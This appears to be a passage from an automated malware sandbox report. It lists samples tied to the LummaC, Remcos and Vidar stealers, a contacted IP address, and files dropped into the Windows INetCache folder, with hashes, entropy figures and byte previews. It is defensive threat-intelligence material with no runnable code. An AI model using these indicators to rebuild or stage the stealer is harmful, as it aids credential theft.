	setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	'Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RisingStrip.exe	Get hash	malicious	Vidar	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse
	over.ps1	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 9W9jJCj9EV.bat, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: c2.hta, Detection: malicious, Browse Filename: RisingStrip.exe, Detection: malicious, Browse Filename: Active_Setup.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: CenteredDealing.exe, Detection: malicious, Browse Filename: over.ps1, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\u

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	505460
Entropy (8bit):	7.9996366277519675
Encrypted:	true
SSDEEP:	12288:CYHcPo52EGVldvWbmTpV86BSI0jLo12CRiELuABZj:Lcw5V+lpk89Ifjc12rqV
MD5:	7285BF966C220DB124ECE8BBD9A59B7A
SHA1:	2BF488418DE8C7FC83D97944F71608309027AA7F
SHA-256:	5AA1DC3CF9B455AC03847EF9877CAA97A654A34593697FB66489C7ACC2DD4AEB
SHA-512:	090A265E4DBF978E9FCE4819BD043A7CC14C2EEE396F598908AA701061DA53E335D41ED6B920C234792BA430AB1D22A0FA93F4E5AC04F8C48D5C6E9DF3BEA4CA
Malicious:	false
Preview:	......bF....\.l...M....U.B...@....2.aJ.......Y..[.` .V.d.R+...Z...(2.:y......4B.....E..6..?.....\|x..1..!...s.9P..jt.SLp.U.e..j....P..Y...u......}.....t/.A.?p.'..j.......F..:n.uYl.mbf ...P:/Mj.z.....H.O..LjY.Y.0...r. ......\..%.9#%...7Grl...:.c.7.\|XN....g...z.....n...1.........@....^{.).e.t!).-9k9.T.K.C.H.lv..}9..B...f....#t.....5r...3.iP.....S.F...~.......E.NtcMR.....{8..+..d.b:.`......iq.......CD....q.oZ..JQ.oFmp'.....R.Z.c..\|...P.%AUP..&G.CW.Y_.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....3.8.'.F...h..............^...Z.D.^...Z.DkC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..*)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....T..,P..Myn.2..t.W.....5..c...?$Z..^.....D.^...Z.Dm.....>f.q8.5...x..2).U.j....>..#.~....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Alabama

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	100352
Entropy (8bit):	7.99817979989376
Encrypted:	true
SSDEEP:	3072:EwEH7gJ3wXjEICr+qKE7G1aI7le2i+49BsQyasI2SN4:hEe3wXjEIC6qKE76a2ldyFHN4
MD5:	FA299C830E33A1DF942763E78A44FF36
SHA1:	0382FA401FDCD9930BCFD732D2C7C38BDC2FE55B
SHA-256:	EE014925BD3B6332A435A69A3D0A39E7F2BF8D7188173EC8545591F39BCB3F37
SHA-512:	CCDF7ED32EC9248F5B1DA891995E5858EA2B3023768191C65B9779F2054ACC56B36F40297D4405572125B6727527C63746394CC576803E62F3B83BFB2F081585
Malicious:	false
Preview:	..#_...\.(..ykE.'...O.v8...~.@..{.1.y{..[..(TN.%'q.o...P...t......o..1)7=.[.!..T.""..j..a.PWg...$L`ak.&u.$...t.Tx..3K.c..}F.>..$....\{j...Z...5.v.a..S.m./....].S...LY,L...v4..q..}......v.........#F?.[%..p...^G*. ....A.M....y..j3j...j...b....Q.....B.\|..Or..x.........=.N...L^....."K...N....p.l.....;...H........y+mq#_6?.U?.c.38l...[.].Y.3.[)B..e.....bI.....O.. ....y..m..i....}...m..9...\|.2..c..Pu..M?HR......rD).w..iO.....,....\|..3ZatI...$g....56..}.6.......v-.$.Z...).R.r.{.t`..&.....".Vn~...se..l..a.G.........y..A,.....Ky...4C2r}i:..(.n.`.o.....kEu.T.h.......X...w#C.....X.P.k..1Z:Ft..v....zXhPg.a7..9...\..{....@...R52./.+.%.....bZ.j.F....z.......c....MjC\|6....4....n`.h...........y..E..&q.^:..=....3..C.1}..C.k.....('&......Q.8.,!8.'.P...5"3"jS.).T...GuD.E..{.....Z1Mo.@..ag8-....k%..\..Y....,..8<...Y,......L.7KC..0..:..R.f.....U..B...i ....L.k.8z}.\..e..../..w{.;..v...X:X"5y...\.3B...'.n.[.z5y...}...R5E....\|N....^V...>......<,...=8V.A..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Betting

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	5.12460633369533
Encrypted:	false
SSDEEP:	1536:aaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2+9:/6whxjgarB/5elDWy4ZN
MD5:	08688C69A031BD4FFD0E656DB8483C09
SHA1:	4A46A871FE6AB806DC386480D6E460E2D53DB5C4
SHA-256:	DE6A215AB3DCD2A0AD9E49EABF1398DCCAD75E8C0746292B31830A799408C568
SHA-512:	A017D50DF31D07281F20FA60327B5CBA584014133020F9F8E214593E5C79195D680DB330F1197C9C792C4986D5428C28F84A34FF9A4FC90BCA916E59FD814504
Malicious:	false
Preview:	de overflow.unrecognized character after (?<.lookbehind assertion is not fixed length.malformed number or name after (?(.conditional group contains more than two branches.assertion expected after (?( or (?(?C).(?R or (?[+-]digits must be followed by ).unknown POSIX class name.POSIX collating elements are not supported.this version of PCRE is compiled without UTF support.spare error.character value in \x{} or \o{} is too large.invalid condition (?(0).\C not allowed in lookbehind assertion.PCRE does not support \L, \l, \N{name}, \U, or \u.number after (?C is > 255.closing ) for (?C expected.recursive call could loop indefinitely.unrecognized character after (?P.syntax error in subpattern name (missing terminator).two named subpatterns have the same name.invalid UTF-8 string.support for \P, \p, and \X has not been compiled.malformed \P or \p sequence.unknown property name after \P or \p.subpattern name is too long (maximum 32 characters).too many named subpatterns (maximum 10000).repeated

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Biz

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	130048
Entropy (8bit):	6.656654256015009
Encrypted:	false
SSDEEP:	3072:mtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj0nEU:UCOMVIPPL/sZ7HS3zcNPj0nEU
MD5:	E4A9934DD7473B09AA1509A04BC97507
SHA1:	F8C9635E842F8B42BE417A502EEE18A2476AAC9D
SHA-256:	D67D531DEB3EB63A28E59ED43A9C27916F07AE8FF136692B4B47F0C05F72CCE0
SHA-512:	86D6F3A8F8535047F1400238374FFB4E45238406072FFC01EF13119C0335D09E2AC07F87FF542CEF85E6348ADDC71A6432A5FA4366E6010FBBEFB536A9D22DB2
Malicious:	false
Preview:	...J#......!...M....~".U.+..u..E.+......0.x....~.+....X....... #...R..M....!.....\|!.......P.........P.E....P......9}.~..M............,....... ..;.... ..3... ....... ...E..<}....;.~......3...4.+......;.....#.... ..G.......v.;.r.. ..3... ...R..E..... ......... ....@.0~D.&~D..~D.0~D..}..u.j.j.j.j.j.3.M..[".......$...E.+E..3.+.....$...E..E..E..E..E..E...........%...F(.F(;F,...c.........1L...C....K.]..S"...E........]..E.E..S..M.@P.u.V.u..u...!........tL= ...u%..K...K9.......v#..f.;wt.f.9w..f#........\#....C...C......f.;wt..M..........M.........f;.t...w...)....C.f.<Cw..Ct.f.;x.............U..E...z...;E...q....E.@f.;zP.u.VRQ.M....`...S...!.........."...M....q"...E...........E........E.....+Ft...E......E.......r...........E..M.@P.u....V.u.....1L..u...C. ......E.=......k..........M.E..Ft.E.......H.......E.......9E........E..f.{.v.K...C...E.M........=L6M.........`.........A...d....F...h....Fx..l....F\|+Fx....p....E.+Fx....t....E.+Fx....x.....A..E...A..E..E..+.....\|.........%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Build

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	6.617800584003662
Encrypted:	false
SSDEEP:	3072:tXnmowS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBy9:t3tb2j6AUkB0CThp6vmVny
MD5:	C48C0679685C473A47C3891E4D02B9B2
SHA1:	8353AA4A00111A51834D0173666B2B2E12458F54
SHA-256:	CA8FB1C7CAF38D7483697762BECAC0C29AF09F2D2705366FBC941C30D53B7262
SHA-512:	307B37655015CAA27B06896B27D0EB298272AC57CE00E66E119B1D8F0E87E806F86A6335E522A075F181C01047CCA6729569C38E5EC47EDDCC37498F5AF627A3
Malicious:	false
Preview:	......9s........C..@.......}.........j.....I.h.pL.W...{.....I.....tn.........xj.e...E.PhT.J..C.P...xC.M...t<...U.R.S(Rj.Q.P...x..}..t..u....]....{..u..C..@...E.P...Q....C........C./...V....I....C.T..._^..[....V..N...(pL...t...Q.P....F....N...t...Q.P.j<V...YY..^...U..E...8P..D.I.]...U..E..H...t..u....u..u..u..u.Q.P.....@..]...U..S..M.j..S.."...Y..x4.}...C(u.VW.d.J......._^..P.u...\.I...y..C......C.........C.[]...U..E..H...t..u....u..u.Q.P.....@..]...U..E..H...t..u...Q.P.....@..]...U..VW.}...........F.Phd.J.W....W.P._^]...U..E..H...t .u(...u$.u .u..u..u..u..u.Q.P.....@..].$.U.............V..h....P.v.....I...tkW.~.Wj.......P..4.I...xHj.......P.7..0.I...x..F......%j.......P.7..,.I...x..F........F......F....J....F._....@...F.^..U..E..H...t..u....u.Q......@..]...U..V.u..F8P..@.I...u...t.Q......3.^]...U..QV..~..t_.F..M.QP...R...xN.~..u..M..q...A..q.P..A.PQ..(.I.. .~..u..M..q...A..q.P..A.PQ..$.I..F..u.P...Q0^..U..Q.E.SV3.W...]..w....sL.._.._.._.._.._....G .....G$9].td.u.....V

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Career

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	6.738237640452298
Encrypted:	false
SSDEEP:	1536:CSDOSpZ+Sh+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1Cwb:1DOSpQSAU4CE0Imbi80K
MD5:	4C97B36B018276C1CFEA2CAF84412819
SHA1:	2F8F52132A89DD5F2C7CE7B63A010AF30CC6BF6A
SHA-256:	37281A1856B71C3AE5AD48CDF5F069C2A37017578925097B52C9C8AE316574D3
SHA-512:	1B6C9833D846BBD9FEDB48D156AA40F7DC760E2268C3EEAC486C81DDFA6B6CADBEEE07350E8E5448AD19689E684B944B77E7F1ABE94B0C876EED19CD9272623E
Malicious:	false
Preview:	E.Y.@H..L..E.f.Hl.E.f..r....E...L.....E..E..E.Pj..}....E..E..E..E..E.Pj...........]..U..}..t..u.......u..N...YY].......U..Q.E......&J.t.Q.,....E.Y.p<. ....E..p0......E..p4......E..p8......E..p(......E..p,......E..p@......E..pD......E...`.........E..E..E.Pj..2....E..E..E.Pj..q.....4..]..U..V.u..~L.t(.vL......FLY;...M.t.=..L.t..x..u.P.....Y.E..FL^..t.P.\|...Y]..VW..0.I.....L....t.P.~.......uIhd...j........YY..u.P.....Y.8W.5..L.......u.W..h..M.W.....j...........t.V..\|.I..._^.V..\|.I.......SVW..0.I...3...L....t.P.........uQhd...j..T.....YY..u.S....Y.+W.5..L........u.W..h..M.W....S.g........u.V..\|.I...V..\|.I..._^..[.h./C.........L....u.2..._.....u.P.....Y......L....t.P.........L......U..V.u...;...M.t..M..@.L...P...u.......^]..U..V.u...;...L.t..M..@.L...P...u.......^]..VW...M.3.j.h....W.......t.....M.........8...r....j......Y2._^..U..kE.....M.P..h.I.]..V.5..M...t k..W....M.W..<.I.....M.......u._..^..U..kE.....M.P..\.I.].h.2J.h.2J.h.2J.j...........U..E.SVW...X.M.......L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Crossword

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	5.234646377134638
Encrypted:	false
SSDEEP:	384:zimDQxahM2I4kDehJ06HrpRD9HPmPuki09PrOa3HwwuBcozc/mwftIQXoSpu888x:27aI4kCD9vmPukxhSaAwuXc/mex/SGX
MD5:	6892F6D8AEDBFC545AECD2516D291852
SHA1:	F9AB8142BD021BD6E7D58C26E44517D5C626D09F
SHA-256:	859A1095806FDCB198915C0BCB29DA52E9D48F5572E7A5573EF844379BC2ABC2
SHA-512:	D9DDE62A15F9E16F02BC8693BEF93A5D7E633CC188FF63ECF235AF388492B055B16DF31FB2CF1BBA784EC8EE1F74C2459688784D20E306C1226A3623C822796C
Malicious:	false
Preview:	\|.~.?..-..W.?.^\sY0.?:Rp.7..?m.bzA..?G.4's..?I.y...?%...=_.?..C\.2.?.O..u..?.m.....?..M....?...n.w.?KK.'.F.?..l.^..?:.." ..?....?..}6lw.?...:.@.?.7Z8>..?$.. f..?e')lW..?zD@..[.?...jq..?.P.J...?F...<..?.Q'J.`.?x..e_..?* A...?.".Sr..?xw...N.?k..$...?..S/...?..yx\|o.?P.6 d!.?.ZyrI..?.......?.....?.T.....?...!.z.?...{...?..0.V..?.8.I.^.?..A;..?...wC..?.JG7.&.?.'..un.?...)...?m...y..?.......?..\|...?,"..Q..?./...b.?PV3. 2.?..S....?.p....?V.a..".?..Tl...?Pq.j...?....Y..?.p..,.?..l"..?cY.....?..................,..d.?........................=..U.&.?UUUUUU.?.................}..=mm?.......?.................u+E6.W?.......?.......................?........................._CN.?.?........F.n<.t.?.........u[.c..?..#.Xu.?.7.&...?.I.v..?...w.\|u?!u$..8.?.."Y.Nu?-HF....?0[....d? cf>..?......c?.......?.-[..6.?...N.}X<.......?.]....?..................'Z.4.?.........e-CS..?.........F.....?..,..w.?(F_.e..?.X2CQ..?....?..w.T..?./V.W..?#.(..7.?... L.?.hC!..?c..(..y?.-...?X1U..u.?..?Y...<...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Den

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	7.996283484918091
Encrypted:	true
SSDEEP:	768:jkKumDAqnxEumZpMQaq/ZePnOQTLnkI5MwbNsf2SsB67Zu8sRUzLL90XD/hp6A:IwnEVnMjEKnFL5MkSrNujR+L2L76A
MD5:	5DEFD3F542122B3A5ABD75B165E2CC7B
SHA1:	AF90BA1705C6E747BFA0D55DE089016B0727B065
SHA-256:	5EEB8AF7E11B5DC69E16C0B844112C5011F1D8968459F6EF35A164C85C023E7C
SHA-512:	1FD0404E890CDF8D3F6BA9DAF0D8421898FBFF54DFE25E13BC680232BEE002ACEC5DF1D1A83A6E5463B40591A1A49BB35AE9E2B774C9CC2AC3F281D35336E4A8
Malicious:	false
Preview:	Rx...^k..}].W......U..'[....878..St.d.3..^..Q....u8X.+3..f..].......#..............m.9..z...vi.....So..7...z......}.[.z.'...L....+..+s.H..D..`..E....;.....R].._vA'.I,..K;...9.J"%.....$k......t.].0.[...+..p.y...j&.....?eWZf.t...$..B......V..=.&+........]..:]...uA............. .....Rp.....^h./&Ir.G...`eL..~....Z=...y....'Uk.1.4...&.&+r.`.....j..M).(.$.u..WN.x5..Jv..xM`.....T...K.o....:.3.....<.i9.../..5.x....M.1..,y.D.Md.....<..^FqP......EX......r.Y.s.ju...H..(.I.SZ..... .D.;.n3..i..+..Z.......O.Qf..?.g/i..c.).._....l.Tbc=.-..'L.g..T'..c#..Y.8..f@..[eX....d.......w....n..iAd./.....n........U../...,...nzNS....H....I.]8".A.K\|8....H...(.b_R.y.Xt.6.@.oz.....kO..3Ra..n....kJ...;.e.....+.D...'..B.i./.42lj.`.6VT+....1....K...o.9X.\..F......a........Oj.L.>.....Pc...\.vzOY....vq..y....\|..}\|.+.U.^......t[..l.m..{....O...g....d......G..y`f..v6..-?........M.XL&.-...5.`W..s..Q...E....x`Q(..Z....G....(3..........^8.VjBy..h..h........eI2..#....k..No!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Diving

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	6.517053567642871
Encrypted:	false
SSDEEP:	1536:FK+r5bLmbZzW9FfTubb1/Dde6YF640L6wy4Za9IN3YRYfv2j62SfP:H5bLezW9FfTut/Dde6u640ewy4Za9coC
MD5:	C2D0E0E738B4403F77DD8CF784F31196
SHA1:	BFC2A8E631E2BFE96B45B776FF65CB0DDF9C1156
SHA-256:	E73F3DBA278020693FE12965B07FBA4D65660B3D060C329D109ECBCF31CD70C7
SHA-512:	02B4E4C99C7E4D831FC3FEAE619EC607BE20ACD29A73C4D2049FB3855479A40FD38D6FDD727641264D33676D83A58B30B04B52D4532EF1298B666D5DE1492A6C
Malicious:	false
Preview:	..u..4J.........M..\|$..{...W..j.S.......3...tL.L$......L$..D$.;.s...........d$8..D$03.@VP.D$D.D$8PS.z.......L$0....F;.r..L$......L$ ...._^3.[..]...U....S.].VW.C..0......~..G..E...u..M.P..$.......{..r..C..H..5......E...3.F...\|....~.3.F...tM...tH.M....S.#.....u.S.7P.........i..3.E...t^....+.A.......I..D.....;.r..@.M..-....U.....u...H.....Y....u.M..Z#...u..u.P........M....._^3.[....U....S.].VW.C..0......F..x..C..H..Z.....y.3.;.~...+..M.W....C..0...j...Wj..v..M..\....M..E.P....M.. ..._^3.[....U.....E.V.@..0...)....N....E..A..E.A..E..A..M..E.........u..u.....I..M..E.P.G....M.....3.^....U..SV.u...W.....F.3.C...0....,...3.f9...!...h..I.V._..YY........h..L.V.s_..YY........h..L.V.^_..YY........3.f9.......j+Yj..E.-...Z.............th...t[...t....t"............P.p..Y..t(...j.Z.......j._...f;.t.f;E...........~jeXf9.ud...t_j._..j...._.d...P.;p..Yj.Z..t.....K...f;.u.j..>jeYf;.u(j..2...j+.._f;.t j-_f;.t.f;.t../v...9v.2._^[]......j._j+Y3.f9..........t....t......U..SV.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Drawings

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.997937751092057
Encrypted:	true
SSDEEP:	1536:RCuEpnDkacOV70Kez48WfQKU7KQadXO3uLtZWmKR8untPcSnqfLSMTU/AftB1hTx:R9a/d4zRmU9tSs7Tt7qfLnQAL1E3IPEg
MD5:	6653A3FACEB89300BE8C6678416E1756
SHA1:	D98F1F82BC255A10FB3653AA9B6FB794B9B67D19
SHA-256:	C4B45B1CAF5665F279B4B23223BFB9248788C254FEB22A80553D2E141E068A51
SHA-512:	E0D02AE5486AD3B71567DD0B552B3A8D59704FAD96BBA68E96F3DBE17238BCD6AD68086ADEB7840416DBB90E31EAB891EA0B031C6B1CBA4094665CC17EBC3044
Malicious:	false
Preview:	.a9...p..{\|....cZ..=uJ..B.X?..9T....n%x.?gd.z...WK.%.41BF...J.s.o..Cd..w..g....U.J,\|z....cH!'#Y....v.S<...V(.~.(0..G.~eQ.\|...d.,.+.x[.E...P..e.g"S.......u%...a.}}L.U=@M.$...k..`...g.:.:.G....{(..i..H.A\S.q.P.yT.........I&We...7.......V.6...............(..>.DAq.;"............5o...M.)..D...ny...r...o..Up..#...EW.wJ..\|y..?...BP$.".O+....C.a......i[-....U....P...:...6.']G}S2..}YJ......v..d...'.h..165....KI.7a.9.N.....B......;.(..l..=s.6o.5.Q.=D)..V..#..G./..`.h1.^..D..../2.)..x..}..r&..2..,....ZsY\....s.t..6...N.^...C]He......).Vd..MZ.6w......-.l."%.i.l.,.5.M..v.c..D...5yK....n...h$3..`".R<.`.8...BOa.P...>.[~.v....YH..>.!......T.";c..._@..K....;..'..~..j.`.]>..."}....}gw.W.:./...eS/.....Z..%..As...iW....@'..HE...L...h..l./2...bH..'E.PL...Z...+<]..NE..m.[....37q..Q...D...b...y.c. ,...>.].....z.......o.&.D....W.......j.._.Q..4T[t.$.@7!..LQ+.^.o8..[.......WY.L<..09.......m{..r.,.4.v...o/...@C.....]Z...9.H...#rsd.p..Xi)...c._.n>@{.F`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Generation

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	5.840334736141939
Encrypted:	false
SSDEEP:	1536:GVGHj1vtK7h6R8anHsWccd0vtmgMbFuz08QuklMBNf:Wq8QLeAg0Fuz08XvBNf
MD5:	95A6C62645F880F16DE580F6582466BA
SHA1:	501A218305B8293669CA446345D7FA9C16F087F1
SHA-256:	8A2BA2EEDE03CD0C63111055EF9892BB3A745E00359A84010B9726CB95F2760A
SHA-512:	FFFC0B9B42EDC25417DBDBBD7EA034D3A7F8EFF7EE37A5DC79F0774C128914F1922AD00C514A39F3DDF47676F950828DC96603015AE421BBD5B2BEA345B8076C
Malicious:	false
Preview:	.R.E.A.T.E.U.P.D.O.W.N...G.U.I.C.T.R.L.C.R.E.A.T.E.S.L.I.D.E.R...S.T.R.I.N.G.R.E.G.E.X.P.R.E.P.L.A.C.E...O.B.J.C.R.E.A.T.E.I.N.T.E.R.F.A.C.E.....G.U.I.C.T.R.L.S.E.N.D.T.O.D.U.M.M.Y.....F.I.L.E.C.R.E.A.T.E.S.H.O.R.T.C.U.T.....G.U.I.C.T.R.L.C.R.E.A.T.E.I.N.P.U.T.....S.O.U.N.D.S.E.T.W.A.V.E.V.O.L.U.M.E.....F.I.L.E.C.R.E.A.T.E.N.T.F.S.L.I.N.K.....G.U.I.S.E.T.A.C.C.E.L.E.R.A.T.O.R.S.....G.U.I.C.T.R.L.C.R.E.A.T.E.C.O.M.B.O.....G.U.I.C.T.R.L.S.E.T.D.E.F.C.O.L.O.R.....P.R.O.C.E.S.S.S.E.T.P.R.I.O.R.I.T.Y.....G.U.I.C.T.R.L.S.E.T.R.E.S.I.Z.I.N.G.....S.T.R.I.N.G.T.O.A.S.C.I.I.A.R.R.A.Y.....D.R.I.V.E.G.E.T.F.I.L.E.S.Y.S.T.E.M.....G.U.I.C.T.R.L.C.R.E.A.T.E.D.U.M.M.Y.....T.R.A.Y.I.T.E.M.S.E.T.O.N.E.V.E.N.T.....G.U.I.C.T.R.L.C.R.E.A.T.E.R.A.D.I.O.....W.I.N.M.I.N.I.M.I.Z.E.A.L.L.U.N.D.O.....G.U.I.C.T.R.L.C.R.E.A.T.E.G.R.O.U.P.....G.U.I.C.T.R.L.C.R.E.A.T.E.L.A.B.E.L.....A.U.T.O.I.T.W.I.N.S.E.T.T.I.T.L.E...G.U.I.C.T.R.L.S.E.T.B.K.C.O.L.O.R...A.U.T.O.I.T.W.I.N.G.E.T.T.I.T.L.E...G.U.I.C.T.R.L.S.E.T.G.R.A.P

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Getting

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	6.593032833964913
Encrypted:	false
SSDEEP:	1536:2ajU1Rjv18fRQLTh/5fhjLueoMmOrrHL/uDoiok:vIbv18mLthfhnueoMmOqDoiok
MD5:	22061E39A2E5A05CB18FF97072D7DF38
SHA1:	AB6A2106A3D637BEB6194AC6483E965B80BF0B6B
SHA-256:	418FD2806D521594FE53D8FD14F6E4DB9478C94EA9DA3B4B43147DCDD19FFFF4
SHA-512:	BC484108EF351E56CBA4633FA99B9BE837C9946C9D1053DCE260F3023D0855EBA92AD4AA35261E604C20C33BEA0E3DD529DF5C457ACD147A7F96E932C68B200A
Malicious:	false
Preview:	...@..L0.8\0.t..I8.A.......j.j.j.W.........D$..........D$.....3..\|$H.......u....@..\|0...L0.t..I8.I...-...j.jd.D$`..PS.........P....\|$..G.P.o...YP.L$..%....D$XPS....I..........D$.P.D$LPj.W.\|$$WS.. .I...\$....u3..$.I....I..\|1...T1.t..R8.B..\|1...D1.t..@8.@.......E.3..x.........@..H......M.....D$$.I..I...........t$ .......M..JU..3...j.GWS.[..WWj.S...........t$L....I.P.L$<.E....L$(.q....T$(.L$8.r....D$(..P..Q...L$(.t...j.Wj.S.q.........t$J....I.......X...j.j.j.S.G......7.C.......D$..L$8.+....\$..\|$..t$ .\|$$.t.SWS..tk.L$..hW.....Yg..YS;.uK.L$,./Q..W.L$<.....T$(.L$8.]...L$8.....D$...u..E..L$(Q...=Q...L$(....M.L$.WS..u..M..J...P........0...@..\|0...L0.t..I8.A......\|0...L0.t..I8.\|$..A...D$..(.u.j.P.....W.8......_^3.[..]...U..E.....@.S.].V.0W...~..t0...#....#..C........H..\|9...D9.t..@8.@......-....6j.j.j.V.u...........t.......=...t0.......#..C........H..\|9...D9.t..@8.@..........j.j.j.V............c...v.j.j.j..u..{.........^...PV.E...P.o.....u....Y.......C.........j.j.j..u..<..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Important

Download File

Process:	C:\Users\user\Desktop\Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	7.997515909539181
Encrypted:	true
SSDEEP:	1536:nUcm3fCZkTMIqLZLDch1aBxYnJAk5hWYmyrUT8SCcPGz+VrOOfMiXeOrR5k/20gF:nUHPokCdDch1aBxYJbmJyreHGSrGiXe0
MD5:	ADACC2F80343487D73B16F8123C54B7D
SHA1:	C3F20A9763CA451FE05BD52D749CDBBA72697F99
SHA-256:	B08BBEA7033A56F42B720CCFE7998E9420BC9561F5069AFE30CA8AAAAC908A7B
SHA-512:	D74E712DDB755EBDBF4A1C0B09BBEB59CBF691EBB30F99F7B3ABBE953D950B40F4DDAE1E5800E3678FF42121B79C130A01E5AA508B80B61A6ED24B01BFDD570A
Malicious:	false
